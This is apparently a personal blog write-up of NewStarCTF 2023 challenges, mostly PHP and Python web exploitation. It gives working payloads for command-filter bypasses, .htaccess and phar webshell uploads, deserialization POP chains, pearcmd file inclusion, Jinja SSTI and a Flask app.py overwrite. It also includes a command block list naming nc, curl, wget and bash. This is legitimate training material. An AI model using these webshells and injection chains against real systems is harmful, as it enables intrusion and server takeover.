NewStarCTF2023

主要是再来把web板块的题来做一做

WEEK 1

先补一道reverse
虽说是个很...的apk (这种出着有什么意义吗...)

lazy_activtiy

重点代码段:

   public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.layout_2);
        final TextView textView = (TextView) findViewById(R.id.textView2);
        final EditText editText = (EditText) findViewById(R.id.editTextTextPersonName2);
        ((Button) findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() { // from class: com.droidlearn.activity_travel.FlagActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                textView.setText(Integer.toString(FlagActivity.access$004(FlagActivity.this)));
                if (FlagActivity.this.cnt >= 10000) {
                    Toast.makeText(FlagActivity.this, editText.getText().toString(), 0).show();
                }
            }
        });

可知flag为editTextTextPersonName2
jadx搜索
image

flag:
flag{Act1v1ty_!s_so00oo0o_Impor#an#}

EasyLogin

开局一个登陆界面 随便注册一个号进去
是一个shell界面
image

ctrl+c ctrl+d 退出他的程序 回到bash/shell
按 ↑ 查看历史记录
image
这里提示用弱密码登陆
这点就很离谱 我怎么知道你的弱密码是那些...
wp给的:
image

然后我试到了最后一个 000000 。。。
登陆后 同样查看history
image

退出 开bp抓包再登陆一次
然后这里能截取到一堆302重定向(从来没关注过bp的这个地方...)
image

查看响应 找到flag
image



这题挺考脑洞的 我觉得就算有了这些知识后也不一定想得到在302找response啊... 而且很好奇为什么比赛时有那么多人出...

R!C!E!

这题当时费尽周折做出来了
现在再复现一下

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

几个点:

  1. url特殊字符传参
  2. md5碰撞
  3. shell正则绕过

e_v.a.l可以通过 e[v.a.l 来传
payload:

password=6O48A7ZyA0nskVwOIGCQ&e[v.a.l=echo `l\s`;
password=6O48A7ZyA0nskVwOIGCQ&e[v.a.l=echo `l\s /;tac /f*`;

image



现在看好简单...

WEEK 2

Upload again!

这种不给waf代码...
几个考察点:

  1. 绕过 <? 限制的一句话
  2. .htaccess绕过

.htaccess: 让服务器把.jpg当作php来解析

AddType application/x-httpd-php .jpg

2.jpg:
这里如果用edjpg等直接在jpg中嵌入php也会被检测出
这里bp抓包 随便传一张小一点的图片
然后把内容改为一句话
image

上传后再上传.htaccess
访问 /upload/2.jpg
POST传hack=phpinfo();
成功getshell
image
image



总结下这题就是几个文件上传的平常考点 当时赛时没做出应该是没有想到waf过滤了<? ...

Unserialize?

最基础的反序列化
考察点:

  1. +换成%20或者空格
  2. head绕过cat/tac/more/tail
    payload:
unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls%20%2F%22%3B%7D 
unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A8%3A%22head%20%2Ft%2A%22%3B%7D 

image

R!!C!!E!!

进去提示有information leak
用dirsearch扫扫
image
扫到git git泄露
由于扫到index 查看 发现有个bo0g1pop.php
获得源码

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

第一个正则替换是将任意字符加上可选括号(可嵌套)替换为空 然后判断是否等于分号
结合下面的eval 这里考察点就是无参数RCE
这里可以本地试一下 比如
phpinfo(); => ;
phpinfo(123); => phpinfo(123);

后面加了一点waf
这种就上网找找 挨个看看能不能绕过即可
参考
+
++

这里实验发现可以用getallheaders()
image
那么在header里面改一改 就可以arrayreverse+pos取出来了
我这里是改的x-forward-for 所以用next

GET /bo0g1pop.php?star=eval(next(array_reverse(getallheaders()))); HTTP/1.1
Host: 5445fb27-3031-45c9-ae29-44e9bf923213.node5.buuoj.cn:81
User-Agent: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forward-For:phpinfo();
Referer: http://5445fb27-3031-45c9-ae29-44e9bf923213.node5.buuoj.cn:81/bo0g1pop.php?star=print_r(getallheaders());
Upgrade-Insecure-Requests: 1

即可RCE
改改payload即可拿到flag
image

WEEK3

Include 🍐

刚好借着这道题学学pear cmd
参考:
phith0n

访问phpinfo 可以得到这样的提示:
fake{Check_register_argc_argv}

发现确实是on 所以有pear cmd 的漏洞利用条件
payload:

/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/222

/?file=/tmp/222.php
POST: 1=xxx

但我复现的时候这个 <会被url编码... 导致不是php语句形式无法执行...

POP Gadget

反序列化pop链

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 

这题魔术方法考得还挺多:
看php manual

  • 在对象中调用一个不可访问方法时,__call() 会被调用。
  • 当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。
  • 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

然后由于只能控制一个func一个arg 所以采用readfile("/flag")来读取
pop链:
Begin(destruct中的preg触发tostring)->Then()->super->call->Handle->CTF->WhiteGod

$pop = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile",'/flag'))))));
echo(urlencode(serialize($pop)));

pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

R!!!C!!!E!!!

 <?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
} 

GenShin

真服了 在这里看到
image

然后访问提示get name传参
随便试试 大致是SSTI 还设置了很多waf
过滤了{{}}这些
参考 +

尝试
{%print(7*7)%} 发现成功
这里可以像参考文章那样找可用子类 也可以学习一手官方wp做法
用 内置函数 get_flashed_messages
payload:

/secr3tofpop?name={%print(get_flashed_messages.__globals__.os["pop"+"en"]("tac /f*").read())%}

WEEK4

php反序列化字符逃逸
这题是变多

 <?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));

可以发现我们的可控参数点只有key 所以要利用waf变长将cmd给覆盖到
注意我们传的是key的值 所以前引号不需要加 而后引号 后括号都需要补好
payload

/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}"

More Fast

 <?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope"); 

先来看反序列化链的构造
这里又用了几个新的魔术方法:

  • 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
  • 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用

pop链:
Start -> Crypto::toString -> Reverse::get -> Pwn::invoke -> Web::evil (misc没啥用)

这里的难点在于反序列化位有一个throw exception
这里参考wp利用GC垃圾回收机制提前触发 利用修改数组下标绕过
可参考 +
image
然后修改
image
即可绕过
image

flask disk

学习到了新知识
flask开启debug后 app.py源文件被修改后会立马被加载
而这题提供了文件上传功能 所以我们覆写app.py 使其能够RCE即可
这里要学习一下写法 不能出现语法错误

from flask import *
import os

app = Flask(__name__)
@app.route('/')

def index():
    try:
        rce = request.args.get('rce')
        data = os.popen(rce).read()
        return data
    except:
        pass

    return "233"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000,debug=True)

popen不要写快写成open... 写错了就只能重开靶机了
然后?rce传参即可getshell
image

PharOne

phar反序列化初步学习
参考:
+

这里就直接跟着wp复现一遍了
源码查看得到提示 class.php
访问得到源码:

 <?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']); 

典型的没有显示反序列化触发 + unlink => phar
这里由于是exec 所以没有回显 我们通过向根目录写入webshell来rce

注意到是Linux下的 所以我们webshell要加斜杠转义

这么写:

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/2.php";
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system(rename("2.phar.gz","2.jpg"));

中间需要使用Linux gzip

gzip -f 2.phar

然后上传2.jpg 再在class.php
POST:

file=phar://upload/xxx.jpg

触发这个unlink 这样我们的2.php就写入了网站根目录
蚁剑连接 http://5286e487-6111-455c-b472-a3a5b64d8232.node5.buuoj.cn:81/2.php

getshell!

Week5

Unserialize Again

源码提示cookie 找到pairing.php

<?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
}

一样的phar反序列化 我们自己POST一个phar文件 利用php://input+file_get_contents+file_put_contents写入
然后利用file_exists传phar://来触发phar反序列化写🐎

构造phar:

private $user='admin';
    public $pass;
    public $eating="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/3.php";
    public $God='true';
...
...
$o = new story();
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

然后修改属性个数绕过wakeup
image

注意到签名部分0x02 -> sha1
image

如下脚本:

from hashlib import sha1

with open(r"D:\phpstudy_pro\WWW\MYWEB\2.phar",'rb') as f:
    text = f.read()
s = text[:-28]
h = text[-8:]
newf = s + sha1(s).digest() + h
with open(r"D:\phpstudy_pro\WWW\MYWEB\22.phar","wb") as f:
    f.write(newf)

然后自己写个POST上传:

import urllib.parse
import os
import requests

url='http://72d0d22d-5473-467b-ac1a-32466ba3d96c.node5.buuoj.cn:81/'
params={
    'pear':'22.phar', 
    'apple':'phar://22.phar'
}

with open(r'D:\phpstudy_pro\WWW\MYWEB\22.phar','rb') as fi:
    f = fi.read()
    ff=urllib.parse.quote(f)
    fin=requests.post(url=url+"pairing.php",data=ff,params=params)
    print(fin.text)

蚁剑连接xxx:81/3.php一把梭
image

posted @ 2024-01-22 13:33  N0zoM1z0  阅读(101)  评论(0编辑  收藏  举报